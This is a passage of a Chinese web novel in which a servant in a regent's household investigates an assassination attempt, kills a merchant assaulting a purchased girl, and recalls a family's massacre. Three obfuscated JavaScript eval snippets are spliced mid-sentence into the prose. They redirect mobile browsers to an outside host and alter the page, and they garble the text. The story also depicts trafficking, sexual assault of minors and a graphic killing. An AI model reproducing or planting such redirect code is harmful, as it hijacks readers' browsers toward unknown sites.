“那这个任务，小的接下了，王爷给我七日时间……” “三日。” “什么？才三日，根本不够……” “两日。”宋无忌淡声道。 “两日就两日！”桃七赶紧地抱拳，磕头，“谢王爷赏识！” “本王也是为了你好，”宋无忌从紫檀木桌后绕出，踱步至桃七身边，随手摸了摸他乱糟糟的脑袋，那修长的四指似乎在描着他天灵盖的骨缝，桃七一身鸡皮疙瘩都给激了出来。 宋无忌续道：“毕竟本王府里的规矩，办好了差使才能赏饭，本王也是为了激励你早早完工，也好早点有饭吃。” “王爷真是御下有方啊！”桃七捧臭脚已经快习惯了。 “墨室以后就是你住的地方。”说完，宋无忌一抬手，示意周围的下人都可以下去了。 住柴房，没饭吃，桃七早就在心里骂开了。无奈只能随着其他人下人，以及万青一起从书房退出来。 昨日的十碗油泼面后，桃七便一日未进食，当然不算瓜子花生这些零嘴儿。他早已腹中饥饿难耐，但这难不倒他，偌大个摄政王府，几百号人，还愁弄不着吃的吗？ “王爷许了你在王府之内走动，但是西暖阁和二进的东苑你不能去。王爷吩咐府上佣人、侍卫、婢女配合你查案。但是你不要做除了查案以外的事儿，而且绝不能离开王府。总而言之，你给我老实点儿，要是闯出什么祸来，王爷饶不了你。”出了王爷的屋子，万青对桃七耳提面命，一点也不信任他。 “王爷，但是，王爷，但是……除了这两个，你还会吐些什么词儿啊？” “你、你、你这个……不懂礼貌的家伙！”万青是宋无忌身边长大的，论骂人的浑话储备自然与桃七差了十万八千里。 “得勒，小老爷，小的不敢，小的知道了。”桃七对他唱了个喏，“这下您可满意了吧。走了。” 桃七不再理他，扭头就走。 “诶，你去哪儿呢？两日可太紧了，我可以助你。”万青匆匆道，又懊悔自己嘴快，“不是，我的意思是，虽然我不想同你打交道，但是王爷下令我从旁协助，我勉为其难可以帮你一点。” 说是帮，其实是监视吧。但桃七知道拒绝无用：“那就谢谢小老爷您了。” “你到底去哪儿？” 桃七挥了挥手臂：“遇事不决，睡大觉！” “待会儿库房的人会给你送些东西去……”万青在他身后说，但桃七已经走出了月门。 桃七回了墨室，心无挂碍地蹬腿一躺，睡得天昏地暗。 王府管库房的老仆接到个清单，说是王爷亲自嘱咐过的，居然是送到墨室。紧赶慢赶地凑齐了东西，往那散发霉味的屋里送。床榻、桌椅、衣橱、脸盆架、浴桶，两套王府小厮的衣物，居然还有个小恭桶。搬运东西的哐哐巨响愣是没把四仰八叉倒在中央呼呼大睡那小哥吵醒，王府上下仆役们对他的第一条评价是——睡得跟死猪一样。 桃七饱睡一天醒来，乐滋滋地清点了物品后，第一件事就是把那小恭桶踹了出去。 ——让他这把懒骨头日日倒夜香？那可不能够！ * 第二日一早，桃七拿着四五根串了烤鱼的竹签儿，打算好好逛逛府里，刚出了内院，来到三个刺客大变身的小花园，便见到看王府大门的小厮走在前头，领着一位女子进了王府。 那女子一身雪白的衣裙，浑身裹得严严实实，但就是能看出仙肌玉骨，体态婀娜。面覆白纱，颇具朦胧幻美，教人忍不住想要一睹妙颜，又不敢靠近一亲芳泽，怕唐突了人。 那女子迈着轻盈的步伐，走过桃七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006007|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边时，还微微对他点了点头，随身飘过一阵沁人心脾的清芬。 女子身后还跟着一位背琴袋的女随从。三人在内院门口停了下来。那仙人一般的女子对领路的小厮说，“就送到这里吧，我已来过多遍，王府内的路早已认得了。” “哎，那请姑娘移步。”小厮笑呵呵地打开了门，目送她和女随从进入。 “此女只因天上有……”桃七缓缓摇头。 “人间能得几回逢呐……”小厮遥望府内，浅浅感慨。 桃七又缓缓点头，表示赞同。 小厮回头：“你是前两日王爷从举辉堂买回来的那个？” “不才正是在下。”桃七问，“这仙人一般的女子，是何方神圣？” “没见过世面了吧，那是醉花阴的花魁，余昭惟。”小厮是王府大门口专门递送名帖、接引贵客的，见识的人自然多。 醉花阴从前桃七只闻其名，里头的女子亦不是他能见到的，桃七惊得瞪大了眼珠子：“我听说过醉花阴，可那不是青楼吗？” “余姑娘卖艺不卖身！连艺名都没取过，还是用的本名呢。” “那又如何？” “青楼女子，为避免被熟人认出，多使用艺名，且艺名具是花枝招展的。余姑娘竟然勇于延续本名，说明她行事磊磊光明，不惧人评头论足。” 桃七切了声：“卖艺不卖身，说是这么说，其实就是抬价，满足一些达官贵人的某种情怀，让鸨母龟公卖个好价钱罢了。” “你懂个屁！”小厮竟不惜与人相争，维护起余昭惟来，“余姑娘靠的是一手琴艺，得王爷赏识，才得以时常入府为王爷单独弹奏。若是那腌臜之人，王府的门槛都踏不进来！” 桃七心道你眼前就站着一个腌臜得不得了的人，你们王爷的品味不过如此。 小厮与他话不投机，回府门继续当值去了。 桃七啃着鱼，又晃晃悠悠回到了内院。 宋无忌给了他两日在王府行走的权限，是以亲卫见到他靠近，并未阻止。 屋内传出泠泠琴声，时而化为悠邈仙音，如淙淙溪流拂过山涧，时而如杀气狂涛，铿锵沸腾。 屋内的演奏开始了，只有那宋无忌和花魁两人。房门外，花魁的贴身侍女提着琴袋，规规矩矩站桩。 桃七观那侍女相貌，虽远不比花魁，却也有三分清丽动人。 琴音不断，院子里一派秋意深深。 桃七摆了个小杌子，一屁股坐下去。边吃边欣赏琴曲。小杌是他昨晚睡不着砍了几支竹子做的，里头暗藏枢纽，折叠几下，就能变成笏板大小，往腰间一塞，随身携带。拿出来展开即可随地大小坐。他是成了精的千年懒骨头，能坐着绝对不站着。 桃七坐了没一会儿，又起身，慢悠悠向琴音传出的地方晃荡过去，嘴里嚼着土腥味的小腌鱼，随时随地吐刺儿。鱼是他从府内小池塘里捞出来的，调料只有盐，取自下人们净牙时用的盐水，检点落叶枯枝烤了就吃起来了。 “小娘子，来一条？”桃七来到那使女面前，上上下下打量人家，笑得别提多猥琐了。 8. 琴音入耳但不入心 千叶正在连廊不远处守着，见桃七对府上客人言语轻薄，连忙上前赔罪：“无香姑娘，这小子言语无状冲撞了你，多有得罪，你别往心里去。” 桃七撇撇嘴，又看了看四周，问：“万青呢？你两个焦不离孟，孟不离焦的，就差穿一条裤子了，怎么没见到他？” “谁跟那小子穿一条裤子？”千叶不满道，“别打岔，你怎敢对无香姑娘如此无礼？” “原来姑娘芳名唤作无香啊，”桃七笑嘻嘻，“真是人如其名，清新淡雅，不落凡俗呢。” “多谢公子美赞。”无香福了福身子，但是表情淡淡的，对于桃七的轻薄，显然是不悦的，“千叶公子，我家姑娘给王爷弹完了琴就要喝茶，姑娘喝不惯别的，只喜今春新采的红山茶，我去后院看看茶水备好了没？”说罢又冲千叶点了点头，预备提着琴袋离去。 “无香姑娘，”千叶觉得桃七丢了王府的脸，被整得很没面子，“那登徒子是三日前新进王府的低等仆从，规矩还没调.教好，我代他向你赔个不是。” 无香回以微微一笑，似是不在意，那一笑流露出淡然出尘的气质十分特殊，不符合这女子的年纪，而且这股气质在花魁余昭惟身边便被彻底彻底掩盖了，完全不张扬。然而当女子单独出现时，定会给人留下深刻的印象。主仆二人的气质，一个似仙，一个似佛。 桃七望着美人离去的背影，啧啧而叹，似有无限感慨。 千叶也痴痴望向无香姑娘，眼里是武人不常有的柔情。 桃七舔了一圈嘴唇，又开始胡诌诌：“在我们坊市里，广为流传着一条规则——看美人儿有三看两不看。一看腿，一定要要白、长、直；二看胸，讲究玲珑有致，不大不小；三看臀，尤其是腰与臀的比例，十比七最上乘……” “你这混球！”桃七是滚刀肉，千叶骂他一千句也没用，于是冲他挥了挥拳头，意思是离人家姑娘远点儿。 “切，好心教你涨知识，你还不乐意了。”桃七叶觉得没意思，啃着烤腌鱼也欲走。 “等等！”千叶突然叫住了他，“你吃的这鱼？哪儿来的？” “池塘里不是有七八条小彩鱼吗？我也是想着给王府省点儿鱼粮，就……” 千叶死死瞪着那被竹签叉起的焦黄死鱼，眼神直白。 桃七把手背到身后，意思是不给。 “什么小彩鱼？”千叶彻底崩溃了，“这是滇南王进献给王爷的丹顶鲤！” 桃七露出一个牙疼的表情：“很贵吗？” “把你卖了都……”千叶说不出话来，发现还真买得起，只因自家王爷是个冤大头。 桃七早上见那鱼儿们五彩斑斓肥美异常，与佛寺门口养的锦鲤没什么不同，还以为只是几条普通观赏鱼，眼下终于意识到闯祸了：“你听错了，这不是什么小彩鱼，我说的是……小……小菜鱼。” “你又没出过府，哪里弄来的菜鱼？等我去前院鱼池里数数，少了几只你就等着跺几根指头吧！” “是这样的，昨晚我见夜空中云雾蒸腾，射下七彩霞光，来到前庭，见池子上空仙乐阵阵，仙瑞蔓延，硕钟鸣奏，彩羽漫天，里头竟有数条锦鲤化龙，直冲云霄而去。这全赖咱们王爷养得好哇。” “锦鲤化龙？你以为我是三岁小孩么？待会儿王爷听完琴，跟我进去请罪，看你还敢不敢扯犊子。” 话音未落，屋门就被打开了，琴音随即止歇，桃七和千叶扭头看去，门框里水灵灵地站着个王爷。 “早就听你们在屋外聒噪，到底出了什么事？” 桃七浑身的皮都紧了紧，用力甩开千叶揪着自己的手，足底抹油：“我什么也没吃，别逼我把肚子剖开来给你们看啊！” 边跑边说，边把剩下的整条鱼囫囵吞下肚，鱼骨都不吐，心道恁贵的鱼可不能浪费。 “鄙人查案去也！” 千叶一人实在承受不了王爷不善的眼神。告了个罪，宋无忌让他先退下。 人已走完，宋无忌道：“曲未终，何不继续？” 余昭惟做了个收手势，在屋内坐着，却道：“王爷府上能人异士众多，连下人也很有出息。” “惊扰姑娘了。”摄政王居然对这位花魁礼遇有加，“可惜了这一曲广陵散。唯有姑娘的琴音，才能让本王与嵇中散神交。” “王爷实在太抬举小女子了。”余昭惟温婉一笑，那容颜被薄纱遮掩，神秘万千，“嵇中散不再，可广陵散日日能奏，没什么好可惜的。只是王爷并不在意小女子的曲子。王爷的心，都在屋外。” “何以见得？”宋无忌眉心微拢，口吻寒凉。 “无香……都跟我说了。” “姑娘在说什么？怎么另本王云里雾里的。” “唉，”余昭惟幽幽叹气，“可怜捧出一颗赤诚之心，竟然不能令王爷平等相待。” 宋无忌言语沉沉：“姑娘的心，本王自然珍而重之，只是姑娘的话，本王实在听不懂。” 当日，余昭惟撇下她的随身侍女，独自一人离开了王府。 ~~ 这一日，桃七拿着鸡毛当令箭，把王府逛了个遍，府内女婢更是一个一个地问询过去，了解他们在出事那晚在做什么，是否有人证明。 问询了一通，也调戏了一通。其中就有那两个半夜出恭的侍女。桃七打听出年长那位叫樊秋合，二十五岁，是个在王府当值了八年的乙等侍婢，小一点的那个才十六岁，没有姓，唤做“蚕望”，刚入王府半年，也是乙等，且容貌甜美，长大后定是个大美人。 但是没找到那位带着自己提灯夜游的女婢，正是那穿比甲的女婢将他七拐把拐带去听了幕活春宫。他想到从前听的那话本子里，有那警幻仙子与贾宝玉的故事，在心里默念，莫不是见了鬼了。回头得请道士给自己画张桃符贴在床头。 他假模假样调查了一通，发现所有人都有不在场的证明。 桃七还意外地发现，摄政王府内并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006008|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有外头传得那么恐怖，在府内所有下人的口中，摄政王宋无忌虽算不上慈主，却也从未干过欺压下人的事儿，月钱也从没拖欠过，而且比别的府里高了一大截，故而所有下人都十分珍视自个儿的活计，老实本分做事。府里管事的李嬷嬷和章主管治下有方，将整座王府治理得井然有序。 * “小人两日内将府中八十六名侍女，一百零三位小厮，三十六名侍卫上上下下，里里外外，祖宗十八辈都调查了一通……” “……由此可见，那名女子也是个刺客。只不过那晚侍卫们只捉到了三名黑衣人，而那女子换装之后，潜藏暗处成了漏网之鱼。多亏王爷意志强大，守身如玉，才让贼女没有可乘之机！等闲那女子知道了王爷的厉害，一定不敢再来了！” 两日还没过，桃七自言调查完毕，主动去找宋无忌回禀，信心满满地说出了自己的“推测”。也不管用词合不合适，一个劲儿夸他就完了，反正他想跟我弯弯绕绕，我就顺着他来呗。 宋无忌坐于书桌之后，默了半晌。盯着桃七久久不语。 把个桃七看得汗流浃背，揪着衣角掐紧了手心，额上冷汗狂冒。 良久，宋无忌兴味索然地说：“做得不错，今后允你在府内外行动自由。” 桃七松了一口气，这关算是过了：“谢王爷！” 桃七跪趴于地，久久不起来。 “你还跪着做什么？” “那个，王爷，我想吃醪糟饼。”桃七揉了揉肚子，肚子很是争气，这时候叽里咕噜响了一阵，“您忘了，奴婢两日没吃饭了，还没到饭点……” 宋无忌神情缓和不少：“行，你去厨房，让师傅给你做，就说是我吩咐的。” 这堪称“宠溺”的语调，桃七浑身骨头都抽痛了一下。 “谢王爷！”桃七装乖，一蹦一蹦地出了书房的大门，往厨房去了。 等桃七跑没影儿了，万青道：“王爷，这两日他来来回回在王府走了不知多少遍，把咱们府上几扇门、几块石头都摸得一清二楚了吧，想逃的意图太明显了。” “无妨，你接着盯。一举一动，事无巨细，通通回给我。”宋无忌的手拿起了那副工笔画轴，细细摩挲着。 万青称：“是。” “还有，去太医院，请冯知祥冯太医。就说本王遭遇刺杀，伤入肌骨，近日恐不良于行，让他务必亲自前来。” “是，王爷。”万青抱拳。 * 桃七没在厨房吃到醪糟饼，那是染瓦坊那种地界儿贫民人家常吃的，摄政王府没有那种东西，要吃就得先用糯米酿酒，捞出来阴干做醪糟。桃七等不了，他也不挑，还是上回的油泼面，唏哩呼噜来了几碗。 吃完面，他就迈着轻快的步子，大摇大摆地出了王府，还跟守门的侍卫击了个掌。 步行了将将一个时辰，他终于来到了举辉堂。 他要当面问问那个神秘的伙计，到底是何方神圣。 9. 采工篝，不照人 桃七穿的是摄政王府下人的服侍，举辉堂大门口跑堂的对他十分客气：“呦，什么风把咱王府的贵人吹来了，大人是公干啊，还是……” 跑堂的是个完全的生面孔，并不是王府刺杀那天的神秘人。桃七双手背到身后，一股子的神气，“把你们这儿管事的叫来。”颐指气使的做派，就差把狗仗人势写在脸上了。 “这……”跑堂的为难道，“大人有何要事，先说给小的听，也是一样的。” 桃七也只是个身着粗布短衣的下人，人家对他客气，是敬他这身“罗衣”，也不是他说什么都要照办。 桃七信口拈来，不打草稿：“我家王爷有顶顶要紧的事儿要见举辉堂堂主，你再言语推辞，耽误的小爷我的差使，拿你是问！” 不远处，万青看了这一幕，头疼地捂住了额头。这杀才，给王府丢尽了人。 “这……”跑堂的在心里暗忖，摄政王哪里会看得上他们举辉堂。若真有要事，也不会派个下等仆役来，这小子八成是来闹事的。但是假扮摄政王府的人来闹事，胆子也太肥了，难道不知道摄政王在烨都的凶名吗？那可是曾经在朝堂之上提刀连斩三名一品大员的邪神。 “怎么说？”桃七小指掏着耳朵，不耐道。 跑堂的还在思索怎么把眼前找事儿的撵走。就在这时，门里出来个膀大腰圆，衣冠富贵的中年男人，头戴缎帽，足蹬金靴，跑堂的一见就舔上去了：“呦，王员外，走好走好，下次再来啊！” 王员外丢给他一块碎银子。跑堂的眉开眼笑：“谢王员外赏。” 王员外身后跟着两名仆役，一齐抗着一个麻袋，里面细细的一条人形在疯狂扭动。 桃七看着王员外上了马车，两个仆役将麻袋打开，里面竟然是个活生生的女孩，二八年纪，身上是粉嫩的衣裙。举辉堂拍卖人口前都会给货物装点一番，让买主看着赏心悦目。桃七自己就是这样的。 马车就在举辉堂前人来人往的街市上停着，王员外进去后，仆役将女孩丢进了马车。 桃七脑袋“嗡”地一声，问那跑堂的：“这是怎么回事？” “王员外五十两银子拍下了人，是个爽快买主，就是太心急了，好歹回家再弄啊。”跑堂的嘻嘻怪笑了两声。 原是那王员外在拍场里拍下了女孩，等不及了，拉入自己的马车就开始“享用”。 “救命啊，不要，求你，饶了我。”女子的呼救声透过车帘子，语音稚嫩，像才十四五，大街上的百姓听得一清二楚。 桃七听到了女子的尖叫，衣衫被撕裂的声音，马车剧烈摇晃起来。路人见了只是远远围观，并不阻止，反而带着揶揄和期待的神色，似乎在想象车内的香艳情状。 出入举辉堂的那都是富商大贾，有权有势之人，平头百姓怎么敢去管他们的闲事。 “这王胖子，又开始糟蹋女娃子了。” “上回也是这样，出了举辉堂就把个男娃子拖马车，人叫得那叫一个凄惨。光天化日的，太不检点了。”卖豆腐脑的摊子前，摊主义愤填膺。 “你给我少管闲事，何况人家是正儿八经买回去填房的，京兆府尹来了都不好管。”摊主老婆道。 有两个挑夫笑咪咪道：“可不能管，难得有这么香艳的戏码，俺几个可得好好听听看。” 也有几个老实百姓，听女孩凄苦的尖叫和求救，哀叹两口气，但也没真要去管。 “放过我吧员外！求求你。我给你当牛做马，还你的钱……” “我要你的钱干什么，老爷我有的是钱，你只管给我伺候得舒舒服服的，以后有你吃香喝辣的日子。”猥琐的中年男子得意洋洋，一点也不在意周围人来人往的。 王员外开始叮铃当啷脱褂子，认识他的人都唤他王胖子，可以想象得到，脱了衣服，他那膨脝大肚露出来是怎样恶心的一副画面。 “膨！” 巨大的一声，好像是那员外重重倒在马车里，女孩拼了命往外爬，一节光裸的藕臂伸出帘子外，但下一刻，就被拉了进去。 “小贱婢敢推老子！” 啪啪啪，啪啪啪…… 七八下耳光后，女子的声音微弱下去，似乎快要被抽晕过去。 “怎么不叫了，嗯？老爷我就好你这样的，你越叫，我就越兴奋……” 桃七盯着那晃动的马车，神情恍惚，眸色涣散，眼前种种宛若在脑海中旋转。他一动不动，眼里只有那传出残酷声息的马车。 女子几乎已经不挣扎了。只剩下王员外肆意的调笑，和衣衫撕裂的嘶嘶声。 如一道惊雷在脑中劈闪，桃七以最快的速度，冲进了马车之中！ “这惹祸精！”万青在一个街口距离的挑货摊子前，立马飞奔过去。 王员外还趴在女孩温热的胸脯上，便被射入的光线闪了下眼睛，眼前一花，刹那间，一名少年诡异地出现在自己的车里，那少年脸色如修罗一般，捡起地上的一个羊脂玉做的痰盂，高高举起，麻利地朝自己砸了下来。 “啊！！！！”众人只听到惨烈的一声呼叫。接下来就是—— 嘭！ 嘭！ 嘭！ 嘭！ 桃七手掌紧紧抓握着痰盂，高高举起，狠狠落下。他疯狂地砸向那个肥头大耳的员外。 一次、又一次，他面无表情，眼睛眨也不眨，只能做这个机械的动作，似乎是一具没有活人情感的尸体，一个被激情操纵的泥塑木偶。 嘭！ 嘭！ 嘭！ 王员外的两名仆役这下才回神，立刻冲上去救人，却被万青拦下。两方打了起来，万青几息之内就放倒了人。 万青掀开马车车帘，被映目的鲜血惊得面有菜色。 马车最里头，一具肥硕臃肿的裸.露躯体，上半个身子趴在座椅上，后脑勺塌陷下去，整个脑袋都变形了。 桃七似乎不再是桃七，他举起两只染血的手掌，放在面前望着，脸上全是血液和黄白色的脑浆，模糊得看不清。腥臭味刺激了他的鼻腔，他突然呕一身吐了出来。肚里才吃的几碗面，一下子倒空了。让马车里的味道更加恐怖。 女孩双臂抱着自己，畏惧地缩在车厢角落，身上布满青青紫紫的伤痕，脸上没有一丝血色，看着桃七的眼神满是惊恐，像是看一个杀人犯。 桃七脱下身上那件王府小厮服，丢到女孩身上。 京兆府尹的捕快来了。发生了命案，没过多久，金吾卫也来了。 又万青在，他们没为难桃七，他暂时被关进了京兆府尹的班房中。 摄政王府得了消息，来领人的是千叶。他见到万青，有千言万语想问，万青也有千言万语想说，然而两人看了看桃七，不约而同选择先闭了口。 千叶和万青一前一后，把桃七夹在中间出了衙门的班房。摄政王的亲卫作保，京兆府尹自然乐意放人，往日还没机会卖宋无忌人情呢。 行到一半路，忽地下起了秋雨，越下越大，天地几乎都被雨幕灌满了，呼啦啦的。马车行得十分缓慢。经过一条不宽不窄的河流，这条河直通护城河，是横贯烨都最大的一条河。桃七突然从座位上弹了起来，万青河千叶都没捞住他，看着他从窗户跳了下去，直接坠入了暴涨的河流中。 * 烨都西郊的一座荒凉的缓坡，是个乱葬岗。大片尸体没有人埋，裸露在外。而乱葬岗旁边，有一座小小的坟莹，没有墓碑，只是个小土堆，风吹雨打，也快夷为了平地。 桃七每年初春都会来祭拜，每年他都把墓上的土堆高一点点。他想，如此干许多年后，人们渐渐忘记了被灭门的姚家，忘记了姚家人，他也就能光明正大地把墓碑立起来。 在这个大雨天，他又来到这里，噗通一身跪下，往前倒去，身体直接趴了上去，似是把那个小坟给抱住了。 过了一会儿，桃七开始用力，把脸和身子往下压，双臂划着泥土，扒拉着把泥拢在自己身边，两三下，几乎把他的身子也给埋进了小小的坟包之中。 瓢泼大雨砸落，他就这么埋着，一动不动，似乎不需要呼吸。 霍霍，要是我也进去陪你，我们以后再也不分开，你说好不好？ * 陇西大族姚氏，一大家子才来烨都，偌大的宅邸里临时雇了几个本地的帮工，帮工干活不稳定，姚府主人打算去买几个年纪轻的奴婢回来，从小调教，知根知底些，用着也舒心。 姚鹤夫妻两个坐马车来到货奴坊找牙婆，姚家要的人多，牙婆子领他们去院子里亲自挑挑。 不巧那天也下起了暴雨。院里统共也就二十来个奴隶，姚鹤夫妻不想冒雨去别的地儿，随随便便就挑走了一大半。正在点价钱呢，众人听见了凄厉的哭声。 六岁大点的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006009|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩蹲庭在中，暴雨一颗颗砸在她小小的身子上：“呜呜，别淋我了！别淋我了！呜呜……别淋我了！” 她竟然不知道找片屋檐避避，呆呆不动，只顾嚎啕大哭，求老天别淋自己。那么点大的孩子，哭泣声听起来可怜极了，让人忍不住心生怜悯。 “呜呜……别淋我了……” 檐下，牙婆一见就火冒三丈，怕冲撞了大官，更怕她哭黄了买卖，连忙跪地赔罪，说：“官老爷请恕罪，这小妮儿生下来脑子就是痴的，什么都不懂。家里人不要了，贱卖给俺的，有问题的就这一个，其他的货都是上乘的，伶俐得很呢。” 姚夫人是个成日里吃斋念佛的美丽妇人，问牙婆：“可怜见的，这样的娃娃，会有买主看上吗？” “回夫人，不能做事，还能生娃呀。不过次等货只能卖给娶不起老婆的庄稼汉，卖不出多少铜板的。当然，太小的俺们是不卖的，得长到十二才行。”牙婆的话听着很诚恳，“外头人都骂干俺们这行的损了阴德，但老实说，还得是俺们，给她口饭吃，好歹活着呀。” 那女娃娃与夫妻俩的宝贝女儿一般大，瘦瘦小小的，隆冬大雨天里一件薄薄的单衣，抹着脸上的雨哆嗦。姚夫人握着手绢，捂住了心口，也没说什么，蹙起秀眉，就这么看着丈夫。 姚鹤没辙，“诶呀”了一声，招招手：“来吧，来吧，过来吧。” 牙婆恍惚道：“老爷的意思是……” 姚鹤道：“一起一起，都过来吧。” * 姚府里养了个呆傻的女婢。因为呆傻，连话都说不清，更做不了什么事情，和姚府千金一样被关着不让出门。但是她偶尔还是能跟嬷嬷出去玩儿会儿的，再将外头听的新奇事带回来说给小姐听，可惜说不清楚。 “女公子，不出门。 离家路，断了魂。 星月夜，掘尸坟。 采工篝，不照人。 不、照、人！” 市斤稚童传唱的歌谣中，她只能唱最短小的，超过三个字，她就要结巴，一结巴就慌，慌了就哭鼻子，哄一哄也能好。这样的小丫鬟，姚鹤偏偏买了回来，偏偏还送到了宠爱的女儿屋里。 许是这样，才可将姚凄凄衬托得稍微正常一些。 姚凄凄停笔，吹了吹才写完的这一页：“霍霍，你在唱什么呢？” “外头都，嗯……在唱，好玩儿，嬷嬷，嗯……不让。”霍霍做出姚凄凄乳娘最常做的动作——拎人耳朵。 姚凄凄哈哈笑了两声：“没关系，嬷嬷点货去了，以后你再听到好玩儿的，都说给我听，知道了没有？” “嗯？小姐……喜、喜欢？” “喜欢啊，我正在写话本子，我爹不让我看，我就自己写，写来自己看，也可以念给你听。正需要收集这些打油诗，都是素材！” 霍霍拍了两下手：“霍霍还……知道、知道，多多的！” “好，你一个字、一个字说给我听！” 当年，鬼矿案在烨都风传，朝廷的采风使将这首歌谣呈交给内阁，内阁呈递圣阅，惹太后皇帝震怒！几天后，姚家被牵连进波诡云谲的案件中。一家十余口人打入诏狱，择日问斩！ 在行刑前，狱中，姚家唯一的女儿，十三岁久居深闺的姚府千金姚凄凄，被狱卒□□至死。后尸体问斩，随姚家亲眷的尸体一同丢入乱葬岗。 * 雨，渐渐停了下来。 摄政王府的马车就停在京西郊乱葬岗坡下，一队人马围着坡，肃穆站立。 桃七一下来，千叶就掀开了车帘，意思是让他上去。 桃七慢腾腾登上了马车，身子一低，发现宋无忌竟然端端正正坐在里面，看了他一眼，面上一贯的看不出喜怒。 桃七满身泥，坐在靠近马车门帘子的地上，脸冲外，靠着。 “驾！”马鞭甩动，车轮缓缓转了起来。 桃七盯着外头的雨，如同冻僵的行尸走肉，连气息也没有。如同这天地般凄凉寂静，一片死意。 宋无忌没问什么，车内一度很安静。瓢泼大雨，似有魔力，掩盖了一切阴暗的现实与往事。 “槐花坊的王昆王员外，为讨印子钱逼良为娼，是被百姓投石打死，他的两个仆役，车夫、路过的百姓俱是人证，京兆府已经结案。”宋无忌望着桃七倔强的后脑勺，一字一字道，“往后，你是我的人。” 10. 热疾好治心病难医 四年前的冬天，烨都最大的一场雪，在元夕的鞭炮声中落下。 宫城以西是繁华的坊市，游人如织，热闹喧阗。以东却是截然不同的光景。摄政王府白雪皑皑，大红灯笼上盖一层厚雪。 黑木大门吱呀打开，十几名小厮跑进跑出，簸箕扫帚翻飞，麻利铲雪。一炷香的功夫，马车道就清了出来。 漆黑的施幡车自偏门驶出，马蹄声伴着凌冽冬寒，车夫打马长长“吁”了一声，将车停在正门。 “王爷，宁公公刚从宫里来，说陛下请您去宫中贺岁。文武百官都在光华门外等候。”小厮对跨出门槛的男人猫着腰。 步履沉沉的男人身长九尺，一身苍青色蟒袍，狐裘氅衣披肩，腰束银色云雷纹锦帛，在又厚又白的雪景中，挺拔如苍劲的松。 “不去。” “这……这……”小厮瞪眼，提步小跑跟上，“王爷这是要去……” 男子停在门前，看了眼马车，两条剑眉微微蹙起，沉沉念出三个字：“染瓦坊。” “去那儿？饭桶子，布棚子，铁勺子都没带，也不像是去施粥的啊……”小厮琢磨着，突然一拍手，怕是又去见那位了！ 小厮对车夫说：“换辆车，去西边染瓦坊，别招摇，快！” 染瓦坊聚集了全城染布、造砖瓦，做手艺活计的大小作坊，住的多是卖苦力的贫贱百姓。附近的坊市根本没有府衙在那片，更没有达官贵人的府邸。这大年关的，堂堂摄政王不去莺歌燕舞的乐坊寻欢，不去皇宫参加宴饮，反倒去了烨都最大的贫民窟。 可大过年的，又是天寒地彻，冷意鞭骨，谁不在家里呆着，而是在坊市中做苦力？这一趟，怕是要白跑。 谁能料到，我朝堂堂摄政王宋无忌，进来养成了去染瓦坊角落窥探一位作坊伙计的癖好呢。 一辆简朴的灰棚马车代替了黑色的施幡车停于王府侧门口，摄政王登上了灰棚马车，车轱辘转起来，驶到鞭炮声与烟火气里去。 大岐十数年来历经三代，三年前，在位六年的永和帝离奇染病驾崩，新帝乃宗室旁支，年幼登基，仰仗朝中新贵宋无忌才从夺嫡之争中活下来，坐稳皇位。后封宋无忌为摄政大臣，也是满朝唯一的异姓王。 一人之下的位置，高处不胜寒。男人不过而立年纪，却已是满面肃杀的风霜。尤其是新帝登基的这三年，朝堂局势波诡云谲，漠北诸部袭扰边陲，江南灾涝下游两年荒歉，流寇遍生，加之几个藩王沆瀣一气企图搅混水，手握朝堂最高实权的摄政王非但难逆涛泷，甚至自身也处于水深火热中。 俗话说有钱人过年，没钱人过关，可即便是最最低等的贱民，这年还得过。人多的地方，年味儿就重，正是上年夜饭的时辰，街市两旁饭菜飘香，除了几个顶着红通通瓜皮小帽的孩童在外放鞭炮，屠沽市井之中并没有往日喧哗忙碌的景象。 染瓦坊自由出入，坊门口没有把守的官兵，马车缓缓进入，停在某处隐蔽的巷尾。 那是一座小小作坊的后院，院门口连着街上的一个小小的铺面，由于地方实在太偏，故而平日里也少有顾客经过，铺面支上了小摊子，零零散散摆落着竹篮、簸箕、斗笠、竹蜻蜓等竹编的物什。 矮墙里头传出孩童成群的阵阵嬉闹声。 小厮下了车，朝窗帘子里笑逐颜开：“王爷，还在呢。奴刚还在想这大过年的，谁会这么勤快，做生意做到这个时候……”话说一半，望见他家主子坐在暗中一脸沉凝，小厮讪讪闭了嘴。 摄政王放下手中茶盏，缓慢朝里看了过去。 